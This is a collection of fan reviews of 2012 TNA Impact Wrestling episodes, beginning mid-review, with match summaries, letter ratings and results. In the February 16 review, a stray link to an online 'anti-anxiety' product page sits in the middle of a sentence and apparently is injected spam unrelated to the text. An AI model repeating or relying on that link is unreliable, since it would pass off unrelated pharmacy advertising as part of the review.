Velvet doesn’t do the pigeons thing and Taz is furious. Madison and Mickie start things off. Mickie tries to escape a wristlock so Maidson kicks her in the face. Off to Gail who walks into a flapjack. Velvet comes in and Gail runs over to tag. Sky isn’t in long and it’s back to Mickie who plays pretty face in peril. Mickie avoids a charge in the corner and it’s hot tag to Velvet. Madison makes the save off a bulldog so Velvet DDTs her. Gail tries to leave but Mickie throws her back in. In Yo Face is broken up but so it Eat Defeat. In Yo Face gets the pin at 3:56.

Rating: C-. Not a good match or anything but this was exactly what it needed to be. Velvet gets the pin on Gail to set up their match on Sunday and Mickie and Madison are there to keep the match from happening early. Now why is that such a complex idea for most other matches to get?

Time for the showdown with Storm and Roode. Storm talks first, talking about how they’ve been down the road together and gone to Japan as Beer Money, all while talking about how cool it would be to be world champion one day, then laughing because it wouldn’t happen. Roode says he isn’t going to pretend Beer Money didn’t exist, because it was a proud moment in his life.

However there’s another moment that Roode wants to talk about, and that’s when they both entered the BFG Series. They wrestled in the semi-finals and Roode wound up winning the tournament where he lost in the main event of Bound For Glory while Storm didn’t have a match. This is all accompanied by clips of what they’re talking about which helps a lot. Storm says he remembers that, and then the next week he beat the guy that beat Roode in record time.

Roode remembers two weeks later where he beat Storm for the world title. That was also the night he turned heel. Storm says that was the night that Beer Money’s legacy was destroyed. Roode says there was no legacy because they never were friends. They hated each other and only had success because of that hatred. Storm goes off on Roode for selling out and says his superkick foot is getting antsy.

Storm says this is leading to Nashville but Roode says that this isn’t about Nashville or Storm’s redneck wife and kids. Storm takes off the jacket and Roode says this is getting personal. He talks about Storm’s dead brothers and dead father and they go nose to nose…and we’re out of time as they’re still yelling. Solid segment but they threw a lot at us at once.

Overall Rating: C+. This show was pretty good, but as usual with TNA, if you don’t like the main angle they’ve got going on, you don’t have much of a reason to watch the show. When you look at this show, you get about five segments on Lethal Lockdown, one long one on the title match, a decent one on the tag titles, a match about the Knockouts, and that’s about it.

Angle vs. Hardy got 40 seconds and Crimson vs. Morgan was mentioned in the PPV preview and that’s it. There’s a TV Title match which wasn’t mentioned, but I didn’t expect it to be. In short, as always the problem is too much Bischoff. Lockdown should be good though, so that’s a good sign. Hopefully they don’t screw this up like they do everything else.

Results
Gunner b. Mr. Anderson via DQ when Anderson wouldn’t stop choking Gunner
Austin Aries b. Mr. Anderson – Brainbuster
Bully Ray b. AJ Styles – Ray pinned Styles after hitting him with a chain
Velvet Sky/Mickie James b. Madison Rayne/Gail Kim – In Yo Face to Kim

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Impact Wrestling – March 8, 2012: Garrett’s Main Event

Impact Wrestling
Date: March 8, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

If I remember right there’s this show and then another before Victory Road. The majority of the card is already set and we should be getting more of Sting vs. Roode’s build up tonight. I barely remember Impact from last week and that’s probably not a good thing. As for the rest of the PPV the card is also set and I’m looking forward to Storm vs. Ray, which I didn’t expect to happen. Let’s get to it.

We open with a recap of the Garrett/Eric situation.

Garrett arrives earlier today and isn’t worried about what Flair said earlier today.

Immortal (yes they’re really calling them that still) opens us up. It’s Flair, Eric and Gunner if you’re keeping track. There’s going to be a tag match later, presumably Garrett and a partner vs. Flair/Gunner. Eric thanks Flair for threatening Garrett. Garrett is watching in the back. Oh Gunner has to pick a partner too. Here’s Angle who apparently wants to be Gunner’s partner. Eric is very enthusiastic about Angle wanting to be the partner. Angle says he hates Garrett because Garrett disrespects his dad. Hogan is out of the country apparently.

Sting is putting the makeup on in the back and talks to Roode. Eric Young comes in and Sting looks embarrassed. Eric wants to impress ODB so Sting calls him Bobby and gives ODB a shot at the Knockout Tag Titles. Her partner for the women’s tag titles: Eric.

Knockout Tag Titles: Eric Young/ODB vs. Gail Kim/Madison Rayne

Eric starts with Gail but ODB tags herself in. Gail runs and is promptly clotheslined. Off to Madison who looks great in red. The champs work over ODB with some double teaming. Madison takes a clothesline to the ribs which was supposed to be a spear I think. Either way it allows the double tag and Eric locks up with the referee. Eric puts both girls in an airplane spin and ODB clotheslines them both down. There go Eric’s pants and Madison hits Eric with a title, knocking him onto Gail for the pin and the titles at 5:48.

Rating: D. I hate this angle. I’ve made that quite clear over the past few months and I don’t think it really requires a lot of explanation. Eric Young and ODB are supposed to be funny but they aren’t. It’s the most forced comedy I’ve seen in a very long time. It’s like taking the ingredients of a cake and putting them on a table and calling it a cake. It doesn’t quite work.

Eric proposes post match but we cut away before the answer.

Post break he actually asks (he was just on a knee with a ring before) and ODB says nothing. Instead she takes the ring and drops to her knee. Eric says yes.

Mr. Parks, presumably Abyss’ dad (James Mitchell anyone?) arrived earlier. He looks like Penn Jillette.

Ray says Storm isn’t making it to Lockdown.

Aries gets an e-mail from Sting saying Ion gets his title match tonight. “So why should they buy the PPV then?” The second biggest wrestling company in America ladies and gentlemen.

X-Division Title: Austin Aries vs. Zema Ion

Aries takes over to start and puts Ion on the mat, resulting in a lap around the ring. He Stuns Ion on the ropes then adds a hilo and elbow for two. Ion hits a spinning dive out of the corner and takes it to the floor. Ion sets for a dive to the floor but gets caught by a running Aries. He chops Ion to the floor but misses a dive. Back in Ion rakes the eyes and goes for his hairspray. The brainbuster is countered and we almost lose a referee. Ion misses the hairspray and Aries gets the can, spraying it in Ion’s eyes for the DQ at 3:52.

Rating: C. Just ok here but I guess it allows them to have a rematch at the PPV. I mean, we didn’t need to see the match for the first time on PPV or anything so we can just show part of it here right? Anyway, not much of a match due to the time. Also with this win, Aries officially has the longest title reign in the history of the X Title.

Mr. Parks talks to Velvet and apparently he’s Abyss’ brother. The family is looking for Abyss and Velvet thinks it was kind of creepy.

Here’s Ray to say that he’s the guy who knocked Storm’s brains out last week. He demands that Sting come out here and make him the #1 contender. Here’s Sting who asks what Ray wants. Ray keeps saying Bobby Roode so Sting says…..ok and it’s after the break. Ray is stunned but happy.

After a break, Sting says that this isn’t a title match but I don’t think Ray knows that.

Bully Ray vs. Bobby Roode

Ray yells a lot and they lock up. Roode grabs a headlock but a shoulder runs him over. The champ slaps Ray and looks all terrified. He fires off some kicks and elbows but walks into a backdrop and side slam for two. Ray wins a quick slugout but Roode hits something close to his Blockbuster for two. Bully makes a face comeback and hits a Rock Bottom for two. Big boot misses and Roode spears him down for two. Roode goes for the chain but Ray knocks Roode down in the corner. And here’s Storm to chase Ray off. He superkicks Roode and it’s thrown out at roughly 6:30.

Rating: C. Ray’s face comeback in there was kind of weird. He’s one of those heels that is working very well but the Impact Zone is screwing it up by cheering him as they do with everyone else. The match wasn’t much but with about six minutes and no real finish, what else could they really do?

Garrett is confident about his partner.

Abyss’ brother talks to Morgan/Crimson but can’t get any answers. They have the Robs tonight.

Crimson/Matt Morgan vs. Robbie T/Robbie T

They’re in matching pink cardigans. This is for the #1 contendership. Crimson and Big Rob start and Crimson takes over. The referee gets distracted though and the clipboard goes upside Crimson’s head to put him in peril. Big Rob poses too long, allowing Crimson to avoid a shot and bring in Morgan. House is cleaned, Carbon Footprint hits but Crimson tags himself in to steal the pin at 4:00.

Rating: D. Nothing to see here at all but it furthered the big guys having issues which is the issue going into the title match. I’m sure it’ll lead to Morgan vs. Crimson again eventually which isn’t something that I’m going to get behind but it’s logical at least. Nothing here though and it was a formality.

AJ has a surprise for Kaz and Daniels.

Angle and Gunner aren’t worried about Garrett and he’s going to the hospital.

Here’s AJ to a big reaction. He talks about the tenth anniversary coming up and how they’re here because of the people. Daniels cuts him off and says he came back to stand by AJ’s side. However that got him nowhere so he decided to make it about himself. Kaz says that AJ is talking about all of the people that have turned on him so Kaz says that maybe it’s AJ that is the problem. That can’t be though, because he’s the Phenomenal AJ Styles so it COULDN’T be him right? AJ says Kaz is the reason he won’t associate himself with friends anymore. Now he’ll associate with a real….what’s the word he’s thinking of here?

Cue Anderson (now with his catchphrase instead of his name being shouted) to clear the ring. He’s back.

Garrett’s partner is ready.

From what I’ve seen, apparently Joe Parks is Abyss sans mask. I knew he looked familiar.

Gunner/Kurt Angle vs. Garrett Bischoff/???

It’s Jeff Hardy, shocking no one. Garrett is in the main event for the first time. For those of you paying attention, he’s now associated with Hogan, Flair, Sting, Angle and Hardy. Behold the power of nepotism people. Angle and Gunner jump them to start and it’s Hardy vs. Angle to get us going. Hardy takes a beating but manages to get a clothesline to take Angle down for about 20 seconds.

Off to Gunner as Garrett can’t get in yet. Back with Hardy taking a beating from Angle. Gunner comes in for a back elbow for two and it’s off to Angle again. Anderson vs. Daniels next week. Out to the floor and Gunner rams Jeff into the steel. Back in Jeff dives for the corner but gets caught in an ankle lock. He makes the rope and Gunner comes back in with a suplex for two.

Gunner hooks a sleeper as we’re running low on time. Jeff gets up and hits a Whisper in the Wind to put Gunner down but Angle distracts Garrett. It prevents a tag (kind of, as the referee wouldn’t have been there anyway) and Angle pulls Jeff back into the corner. And never mind as Jeff makes the tag a second later anyway. Gunner cleans house and hits a falling Diamond Cutter (Angle lands the same but he would be on Garrett’s back. Garrett fell forward if that makes more sense) on Kurt for two. Everything breaks down and the Swanton pins Kurt clean at 14:31.

Rating: C. Main event tag formula was at work here, but dang man did we really need to have Garrett in this spot on the card? He didn’t really do much at least which is probably a good thing. Jeff vs. Angle was a second story here but it didn’t get the focus that Garrett did. Anyway at least it wasn’t horrible.

Overall Rating: C-. This was a step down for them. We had a show with the world champion in action, two title matches (one with a title change) and a return of a former world champion, but Garrett Bischoff was in the main event. Other than that, the show was just kind of there. Stuff happened (without being advertised in advance of course) but nothing really that huge. Anderson is back and is thrown into AJ vs. Daniels so it doesn’t really mean much. Not a horrible show but it didn’t click like they were shooting for.

Results
Eric Young/ODB b. Gail Kim/Madison Rayne – Eric fell on Gail after being hit with a title belt
Zema Ion b. Austin Aries via DQ when Aries sprayed hairspray in Ion’s eyes
Bully Ray vs. Bobby Roode went to a no contest
Matt Morgan/Crimson b. Robbie E/Robbie T – Carbon Footprint to Robbie E

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Impact Wrestling – March 1, 2012 – Fresh Faces In The Main Event

Impact Wrestling
Date: March 1, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

We’re getting closer to Victory Road but we have three Impacts to get through first. That PPV is really just a stop on the road to Lockdown though as the main event may not even be for the title. It needs to happen though so we can get through the Sting vs. Roode issues because until that match happens, that feud is going to overshadow the Storm vs. Roode match at Lockdown. Let’s get to it.

Little warning here: I’ve been sick all week and I’m on some strong medicine so this might be a little weaker than usual.

We open with a recap of the end of the show from last week with Sting going insane on Roode.

Angle has a list of cue cards as to why he hates Jeff Hardy and why he attacked him.

We get a theme song. That hasn’t happened in how long?

Here’s Angle to explain why he attacked Jeff Hardy. He has cue cards. First of all, Jeff has hair. It’s rainbow colored but that doesn’t make him a champion. Number two: the way Jeff dresses. Third, fans want Jeff’s autograph more than Angle’s. Fourth: girls like Jeff more than him.

The biggest reason though: he has over 100 different action figures, posters and t-shirts. At night though, he sees Jeff Hardy posters in his son’s room and steps on Jeff Hardy action figures. His son wears Jeff Hardy t-shirts and he has makeup on with purple hair, “and he wears freaking socks on his arms.” Kurt’s face when he said that last line made me laugh. Jeff comes out and Angle challenges him to a match at Victory Road. Hardy jumps him and has to be pulled off.

Roode complains about Sting a bit when Austin Aries came up. He talks about how he tweeted his issues with Sting and compares himself to Roode. Roode seems to be accepting of this and asks if Aries has five minutes to talk. They go for a chat.

AJ Styles vs. Kazarian/Christopher Daniels

This is a gauntlet match and AJ starts with Daniels. AJ says if he wins, he wants to know what Daniels has over Kaz. Daniels says that they don’t have to listen to AJ but then he changes his mind quickly and says yes. AJ goes after Daniels and hammers away to start. Back inside and AJ takes him down with a clothesline. Some suplexes set up a backbreaker for two. AJ has to keep yelling at Kaz as we take a break.

Back with AJ coming back from something with elbows into the ribs. He tries to float over coming out of the corner but walks into an elbow for two. AJ comes back and hits the springboard forearm for no cover. He loads up the Clash but Daniels avoids it. An STO puts AJ down….and Kaz comes in to hit AJ with the Fade to Black. That’s a DQ loss for Daniels but Kaz immediately pins him to win it at 9:48. Smart.

Rating: C. The match wasn’t that great but I’m interested in seeing where this goes. Hopefully it leads to more AJ vs. Kaz than AJ vs. Daniels but it’s some kind of law that those two have to feud every year. I liked this for the most part, but the lack of originality in this feud gets old quick.

Madison sucks up to Gail in the back. Gail has gotten them a spa day this weekend, but first Madison has to beat ODB.

ODB vs. Madison Rayne

ODB controls to start with the power game. Madison is in blue here, making her more gorgeous than usual. Madison gets in some offense but it’s nothing all that great. ODB comes back again to beat her down as Eric takes his shirt off. The Bam is countered as Gail brings in a belt. It doesn’t happen though as The Bam gets the pin at 2:58.

Ray rants about last week when Roode comes up and says that was funny. Aries is with Roode and they convince Ray that it’s Sting’s fault that Brandon Jacobs was here. They recruit Roode who seems to accept their offer.

Velvet gets in a fight with Angelina.

Garrett gets into it with Flair, Gunner and Eric. A challenge is made for next week for Garrett to show up or not.

Here are Aries, Roode and Ray. Roode says he’s awesome but Sting isn’t an active wrestler anymore. You don’t put your hands on the champ and at Victory Road it’s going to be a beating. Ray says he has great calves. He blames Storm for things but says its all Sting’s fault. It was Sting that let Brandon Jacobs comes in and put him through a table. It was Sting that caused him the embarrassment. Aries says Sting is one of those people that can’t let it go because the three of them are better than him. He wants to know why he’s not in a main event. They all say they’re done and sit down in the ring.

The lights go out and Sting is in the ring too, freaking all three of them out. He wants to have a chat with them. Aries says he really is done but Roode doesn’t like the idea of losing his title if he’s really done. The same is true of the X Title. As for Ray, he’ll get his finger bitten off if it goes in Sting’s face again. No job means no paycheck so they’ll all stick around. The main event is a six man with these three against Storm/Magnus/Joe. The lights go out and Sting is gone.

Video on Sorensen’s recovery.

Ion says he’ll break more necks if he has to.

Zema Ion vs. Shannon Moore

Moore controls with speed to start and they head to the floor. Ion hits a clothesline to take over, followed by a missile dropkick back inside. A neckbreaker gets two and Ion goes up. Whatever he’s going to try is countered by a top rope rana by Moore which gets two. Moonsault press misses and Ion hits his belly to back flip into the facebuster for the pin at 3:30.

Rating: C. Quick match here to keep the heat on Ion. This double heel thing is interesting but I’m not sure if I can see Ion taking the title off Aries. Moore is filling in for Sorensen I guess which is ok but I’ve never cared for him. Anyway, decent match but it’s nothing all that good for the most part.

Mickie James/Velvet Sky vs. Sarita/Angelina Love

Velvet goes after Angelina to start as we hear about Madonna and the founder of Girls Gone Wild feuding. Mickie comes in and snaps off a rana for two. Out to the floor where Sarita hits a nice dive. Mickie gets beaten down for awhile until she manages to hang Angelina over the top and makes the tag to Velvet. Everything breaks down and the top rope Thesz Press takes Mickie and Sarita to the floor. Velvet wins with her sitout Pedigree to Angelina at 5:51.

Rating: C-. Not a bad match and as usual, far and away better than the Divas. It’s nice to see girls that look like they know what they’re doing instead of having to stumble through whatever they’ve been taught to do in their 90 second match of the week. I’m not sure how much we needed two Knockout matches on a show but this was fine.

Storm/Crimson/Joe say they’re ready.

We look back at Abyss disappearing at Genesis. His family hasn’t seen him since.

Bully Ray/Robert Roode/Austin Aries vs. Magnus/Samoa Joe/James Storm

So Joe is a face again? I’ll have to keep that in mind when it gets confusing again in a few weeks. Magnus and Aries start things off. Aries takes him to the mat quickly but can’t reach up high enough for a test of strength. He cartwheels away from Magnus so Magnus takes his head off with a clothesline. Off to Roode and Storm wants in. Storm comes in and Roode runs as we take a break.

Back with Ray hammering on Storm in the corner. The announcers talk about Kobe Bryant having a concussion. The commentary is being recorded later now so they can be more up to date. As long as it doesn’t turn into a bunch of pop culture references that’s a good idea. Anyway Joe gets the tag and the big men go at it. Joe takes over and suplexes Aries too.

Magnus comes in and the tag champs speed things up. Roode and Storm come in again and the champ runs one more time. Aries gets beaten on instead as Joe does the always cool walk away to avoid contact. He loads up the MuscleBuster but Roode makes the save. Ray comes in to beat on Joe as he somehow plays Ricky Morton. Talk about miscasting. Taz talks about the Knockouts so Tenay yells at him.

The triple beating continues with Roode hitting a Hennig necksnap and Aries hitting a modified elbow to the back. Aries rams Joe’s head into Ray’s calves which doesn’t do much. All three heels take turns on Joe but Roode runs into a release Rock Bottom in the corner and there’s the tag to Storm. House is cleaned until ray gets in some offense on him. Everything breaks down and the tag champs hit their finisher on Aries. A lot of finishers are hit and the Last Call gets the pin on Roode at 16:50.

Rating: B-. This was a formula tag match but it worked quite well for the main event of a TV show. It pushes Storm vs. Roode which is a good thing and it offered some fresh faces out there. That’s a nice change of pace and it’s nice to see some young faces in there instead of the old ones being cycled in again.

Ray beats down everyone to close the show, saying he’s the real #1 contender.

Overall Rating: B-. I liked this show for the most part. It didn’t really set up much for Victory Road but there’s still a lot of time before then so it’s not a huge issue. The wrestling here was pretty good, although I could have gone with only one of the Knockout matches instead of two. Still though, good show as has become the norm since Russo is out of the picture.

Results
Kazarian/Christopher Daniels b. AJ Styles – Fade To Black
ODB b. Madison Raine – The Bam
Zema Ion b. Shannon Moore – Flipping Facebuster
Mickie James/Velvet Sky b. Angelina Love/Sarita – Sitout Facebuster to Love
James Storm/Samoa Joe/Magnus b. Austin Aries/Bobby Roode/Bully Ray – Last Call to Roode

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Impact Wrestling – February 16, 2012 – Storm vs. Roode Is Coming

Impact Wrestling
Date: February 16, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Tazz, Mike Tenay

We’re back in Orlando which means the crowds have gotten a lot worse again. Roode is still the champion after Sting had to count the pin on Sunday in a redo of Summerslam 1997. And before anyone complains, no I’m not saying that’s a bad thing. 14 years is more than enough for an angle to be repeated. Anyway, we start towards Victory Road tonight. Let’s get to it.

We open with a recap video of the two main events from the PPV. The other is Garrett vs. Gunner if you’re confused.

Here’s Roode to open the show. He says that the fans are chanting Rooooooooooode so loudly that he needs to hear his introduction again. Roode talks about overcoming everyone, including Jeff Hardy. As for Sting, Sting has been pointing his finger at Roode since Roode won the title. After Sunday, that finger should be pointed at Sting because it was him that counted the pin to keep the belt on Bobby.

Cue Sting who says it was Sting that was selfish on Sunday because he let his anger get the better of him. If hurt the outcome of the match and Jeff got screwed. He’s here tonight to make things right with Hardy. He’s glad Roode is a fighting champion because tonight, it’s Roode vs. Hardy. There’s no time limit and no DQ. Oh and it starts NEXT.

Brandon Jacobs of the New York Giants is here.

TNA World Title: Jeff Hardy vs. Bobby Roode

Jeff charges and attacks Roode before the introductions can be made. Roode catches him in Percy Watson’s Persecution for two. Roode is sent to the floor where Jeff hits a dive and a pair of chair shots. This isn’t falls count anywhere. Roode is rammed into various metal objects and has his suplex countered into one by Hardy. It’s been about 95% Jeff so far. They go towards the ramp and Hardy cracks him in the back with a chair. Hardy whips him into the apron twice and signals to the fans for something. Roode uses the distraction to get in a punch to the ribs.

Jeff counters a whip to send Roode’s knees into the steps. He uses said steps to make a platform and hits Poetry in Motion onto the champ against the railing. With both guys down we take a break. Back with Hardy getting two off his front suplex. He loads up the Whisper in the Wind but Roode shoves the referee into the ropes to crotch him. Roode takes it to the floor again and tries a piledriver on the ramp but Jeff counters with a backdrop.

They go up to the stage with Hardy in control again. Hardy throws Roode off the stage but it wasn’t a huge crash as Roode is up pretty quickly. Also the stage isn’t as high. Jeff dives off the ramp with a clothesline. Twist of Fate is countered as Roode shoves Jeff into the stage. Roode’s charge misses and both guys are down.

This is random but they’re near the announce desk so it popped into my head. Tazz isn’t live in the arena and is doing this on a voiceover due to the death in his family. Hardy takes him back to the ring and takes his shirt off. Out of nowhere comes Kurt Angle who whips him into the steps. Roode pops up and hits the spear (of course) for the pin at 16:45.

Rating: C+. Far more of a fight than a match but that’s ok. The match was entertaining enough and it sets up something new for Hardy. He’s been around the title picture enough and hopefully this means they’ll be going towards Storm vs. Roode now. Good match here as Hardy looked great and his stuff with Angle should rock.

Roode says he won when Sting comes in. Sting says he cheated the system and says he’s not done yet. Roode is going to defend against the winner of the #1 contenders match tonight.

Eric Young has a guitar and says that he’ll get ODB back tonight. He also talks about shoot fighting and having his driver’s license taken away.

Sting talks to two people about getting a shot at Roode. He asks if they’re in and the people are revealed as Ray and Storm. They both say they should be world champion and the match is on.

We get a video of the Sorensen injury from Sunday. The current word is that Sorensen will be out for a year at least. He is however moving his arms and I believe legs as well.

Zema Ion/Austin Aries vs. Alex Shelley/Shannon Moore

Aries and Moore start things off. Aries takes him down with a fast headlock takedown and then a dropkick. Ion tags himself in to tick the champ off. Shannon kicks everyone down and Aries is knocked to the floor. There’s a baseball slide and Asai Moonsault which kind of misses as Moore lands on his feet and Aries falls a few seconds later.

Shannon picks up Ion’s hairspray which gets him a dropkick to the back. Shelley knocks Ion to the floor and wants a tag. Here’s Alex who misses a double boot and has Sliced Bread broken up. Aries dropkicks him in the back of the head and loads up the brainbuster but Ion tags himself in. Shelley escapes the brainbuster but falls into a rollup by Ion at 4:10.

Rating: C. The match was fine and I honestly forgot that Ion was #1 contender. That’s probably due to how the match he got the spot ended which is understandable. Also it’s rare to have heel vs. heel http://onhealthy.net/product-category/anti-anxiety/ feuds. Not a bad match or anything and the ending worked pretty well I thought.

Speaking of heel vs. heel, Gail and Madison are coming to the ring and Madison wants to chill things out between then.

Battle Royal

Brooke Tessmacher, Tara, Sarita, Rosita, Winter, Angelina Love, ODB, Mickie James, Velvet Sky, Madison Rayne

Winner gets the shot at Gail at Victory Road. Before the match, Madison praises Gail for giving everyone a chance to win right now. Madison sits at ringside with Gail. Winter and Tessmacther are out quickly. ODB threw both of them out and she tosses Rosita onto them. Mickie goes after her and has some better luck. She tries a headscissors but three other girls knock them both to the apron.

Mickie goes up top and ODB knocks her out. Everyone rams into ODB to knocker her to the floor and we’re down to Tara, Velvet, Angelina, Sarita and Madison who is on the floor. Tara is knocked out by Sarita. Angelina and Sarita team up against Velvet who fights out as well as she can. Velvet fights both of them as well as she can but can’t put Sarita out.

The alliance seems to break down but they hit a double elbow to put Velvet down. Madison hasn’t been in the ring yet so she’s still in this. Botox Injection puts Velvet down and Sarita says now put her out. Angelina goes to do that and Sarita tosses her. Salsa dancing abounds. Sarita charges at her but Velvet ducks to put her out. Madison runs in to throw out Velvet for the win at 6:30.

Rating: D. So apparently Madison was a surprise entrant into this match because when she said Gail was giving anyone in the ring a shot, it entered her into the match. Still though, this was longer than it should be or at least too long with those final three in there. Can’t call it a failure due to the hotness involved though.

Storm is all fired up.

The new tag champs say they proved their greatness by doing what they said they’d do. It’s a rematch next week.

We recap the Garrett vs. Gunner match from the PPV where Garrett fought hard but lost.

Here’s Immortal, who is now Flair, Gunner, Bischoff, and Chelsea if you remember her. She’s hot if nothing else. Eric says Chelsea wanted back in after seeing Garrett’s loss on Sunday. Champagne is brought in along with cigars. Eric says get a dog as a dog catcher, but never come close to wrestling again. He wishes Garrett the best in all of his future endeavors.

The host of some MMA show talks about MMA.

Eric Young talks to ODB who doesn’t want to hear it. He plays a song on his guitar called the Ode To ODB. She laughs at it and spanks him. This isn’t funny, as usual.

James Storm vs. Bully Ray

It’s 10:30 so there’s either something after this or we’re going to have a long match. Ray is way too proud of his calves. Feeling out process to start and Storm armdrags him down. Hebnar trips over him and Ray works on Storm’s knee. Ray even takes the boot off of Storm’s foot to work it over even better. More leg work follows which has been the focus of the match so far. Ray keeps on the leg as we take a break.

Back with Storm trying a comeback but Ray dropkicks the knee out for two. Ray punches the knee and talks trash, which gets him a punch in the face. Codebreaker puts Ray in the corner. He comes out with a big boot but Storm ducks underneath and hits the Last Call for the pin and the #1 contendership at 12:10.

Rating: C. Not the worst match in the world but it wasn’t that interesting either. It gives us Roode vs. Storm which is what we needed more than anything else though. Storm has made the superkick into a big move that can change a match at anytime which is what it needed to be.

Storm has a beer bash post match and gives Brandon Jacobs a beer as well. Ray jumps Storm during the celebration and gets in Jacobs’ face. He takes a drink from the beer and spits it in Jacobs’ face. Jacobs shoves him down and wants to fight. Storm and security pull him back and D’Lo Brown looks like he’s trying to hold back a small bus. Jacobs and Storm get in the ring and celebrate.

Storm and Jacobs say bring it Bully. Jacobs will be back next week.

Sting wants to talk to Roode face to face. Roode comes out and announces Roode vs. Storm in the cage at Lockdown. Roode kicks Sting in the balls for that. He takes Sting’s sunglasses and hits him with the belt to open him up. So….Sting vs. Roode at Victory Road?

Overall Rating: B-. This was a very packed show but nothing came off as excellent. Storm vs. Roode is the match that needs to happen but it’s a very good thing to get Sting vs. Roode out of the way first. That’s been the real main event feud since Roode won the title so getting it out of the way lets Roode vs. Storm feel like the huge match that it is. It wasn’t announced but I’d call it a very safe bet after the ending to that show. Good show but not great.

Results
Bobby Roode b. Jeff Hardy – Spear
Zema Ion/Austin Aries b. Alex Shelley/Shannon Moore – Rollup to Shelley
Madison Rayne won a battle royal last eliminating Velvet Sky
James Storm b. Bully Ray – Last Call

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Impact Wrestling – January 19, 2012 – So THIS #1 Contenders’ Match Counts Right?

Impact Wrestling
Date: January 19, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

We’re moving closer to Against All Odds after last week’s pretty awesome show. Well at least the second hour was. Tonight there’s a big match and it’s actually been advertised. I’m as shocked as you are. It’s a cage match between Mickie James and Madison Rayne to probably blow off their feud stemming from Karen being all evil and crazy. Let’s get to it.

We open with a recap of the ending from last week’s show.

Here’s Storm to open things up. He likes being #1 contender and he beat the best in the world to do it. Angle may be the best, but on those nights, Storm was that much better. Now he’s got Roode at Against All Odds….and here’s Hardy for a rebuttal. He says he got screwed at the PPV and then again last week. Storm isn’t getting a title shot until Hardy does. They both say they got screwed. Storm: “With all that screwing he must have a lot of child support to pay.”

Here’s Roode who says Storm does in fact get the winner of Hardy vs. Roode, but since there’s no winner, Storm isn’t #1 contender anymore. Hardy got two chances in 5 days and blew them both, so he’s out too. This brings out Sting who says Roode found another loophole. Therefore tonight it’s Storm vs. Hardy and the winner gets Roode at the PPV.

Angelina rants about Eric Young a bit and challenges him to a match later tonight.

Gunner vs. AJ Styles

The announcers keep pushing the idea that Gunner has injured a lot of people. AJ does his usual stuff to start, such as the drop down into a dropkick. Gunner takes over and Tazz actually brings up Flair and AJ’s past relationship. Jumping knee to the face gets two for Gunner. Gunner controls for a bit but AJ comes back with the springboard forearm. Here come Kaz and Daniels with Daniels telling Kaz to do what he’s supposed to do. F5 is countered and Flair pops up on the apron. The distraction lets Kaz deck AJ and a DDT from Gunner gets the pin at 4:45.

Rating: C-. Just a match basically to further whatever is going on with Daniels and Kaz. Kaz being so reluctant is an interesting story but I’d like it to not be Daniels. I mean….it’s been done. Like A LOT. Anyway, decent match and it’s amazing what a character trait did for Gunner. Why did it take them over a year to do it?

Gunner goes for the concrete but AJ gets away.

Magnus is ready for Crimson. Crimson and Morgan come up and Crimson threatens Magnus. Morgan says save it for the ring.

Ray is with Sting and demands a world title match since he hasn’t lost since being a singles wrestler. Sting says no and make an appointment the next time you want to talk to me. Ray kind of threatens him…I think. Sting even lifts the glasses and Ray is mad.

Magnus vs. Crimson

No seconds with either guy. Magnus jumps him to start and hits a clothesline for two. And never mind as Red Sky (a bad one) ends this at 1:10.

Joe comes out post match and beats down Crimson. Morgan finally makes the save. He gets beaten down too and Joe/Magnus stand tall.

Eric young is fascinated by Bellator. A caterer comes up and Eric annoys her by thinking she’s a fighter. He says he doesn’t fight women. ODB comes up and talks about Angelina’s challenge and Eric isn’t happy. Sex is implied.

We get a clip from last week with the Bischoff Hour. Garrett is shown training. He says we’ll find out who’s training him soon.

We recap Mickie vs. Madison. I’m not sure this warrants a cage match but it’s not bad.

Madison freaks out and Gail says let’s just go to the ring.

Mickie James vs. Madison Rayne

Mickie starts fast and rams her into the buckle to start. Powerbomb out of the corner hits and we’re officially longer than the Lockdown match from last year. Seated dropkick gets a delayed two. Mickie hooks something like a choke and Madison is in trouble. Madison escapes and hits a HARD kick to take over. That sounded great. Mickie reverses a whip and we take a break.

Back with Mickie in control again. This has been pretty one sided so far. Mickie takes her down and nips up but Madison sends her into the cage to take over. Madison humps the mat with Mickie’s head between her legs. Somehow that’s a lot less hot than you would expect. Off to the chinlock. Madison has a little American flag patch on her shorts. Not sure why but it looks good there.

Mickie fights up and a neckbreaker from James puts both of them down. They slug it out, won by Mickie. A flying forearm and clothesline put Madison down. Another flapjack attempt is countered and a boot gets two for Rayne. And then Mickie rams her into the cage a few times and the jumping DDT gets the pin at 12:23.

Rating: C. Not bad here but nothing classic. It’s so much better in this division than the Divas, and a lot of that is due to the time. The Divas matches get annoying because they’re just there and gone so fast that they don’t mean anything. The Knockouts don’t have masterpieces but they have matches, which is a big step in the right direction.

Austin Aries talks about what he’s going to talk about and how entertaining he is. I didn’t leave anything out there: he says he’s going to talk about something and how interesting whatever he’ll be saying will be without saying what it is.

Velvet and Tara congratulate Mickie. She says she’s hardcore or something. No idea what the point of this was.

Hardy says that the world title is what it takes to validate everything.

Video on Aries and his domination of the X Division. He talks about how dominant he is and says he needs competition.

Here’s Aries in the arena. He says it’s that time of the month: it’s time for him to brag about being the best in the world after another successful title defense. If he sucks like the audience says, why does he still have this title? There’s no one here to take me on, so maybe he should go around the world to find competition. Cue the returning Alex Shelley, once again with the skunk hair.

He talks about the Guns being injured and how he came back the day Sabin hurt his knee. Shelley wanted to wait on Sabin to get back but Aries has bored him so much that he had to come back. Last time it took a low blow for Aries to beat him. Aries says go wait for Sabin to come back because there’s no point to doing anything else. Shelley says if he’s such a non-threat, Aries should have no issue giving him a title match. Aries says whoa whoa whoa, but you have to earn it. Go find an X Division guy and beat them, then you get your show. Shelley says Aries can pick it.

ODB wants Angelina to get destroyed tonight. Winter jumps her and they brawl with ODB seemingly in control. Winter gets in a shot with a metal something and then whips ODB with a belt.

Angelina Love vs. Eric Young

Let’s get this over with. Eric isn’t sure what to do so he locks up with the referee. Then with a fan. Then he jumps back in. Then he locks up with the referee again. The referee is shoved into Angelina in the corner and Eric counts to four for a near DQ. Angelina kicks him low for the DQ at 1:57. Oh….just no.

ODB with the save but she gets beaten down. Eric sends both evil ones to the floor. ODB kisses him.

Storm says it’s his time to be champion.

James Storm vs. Jeff Hardy

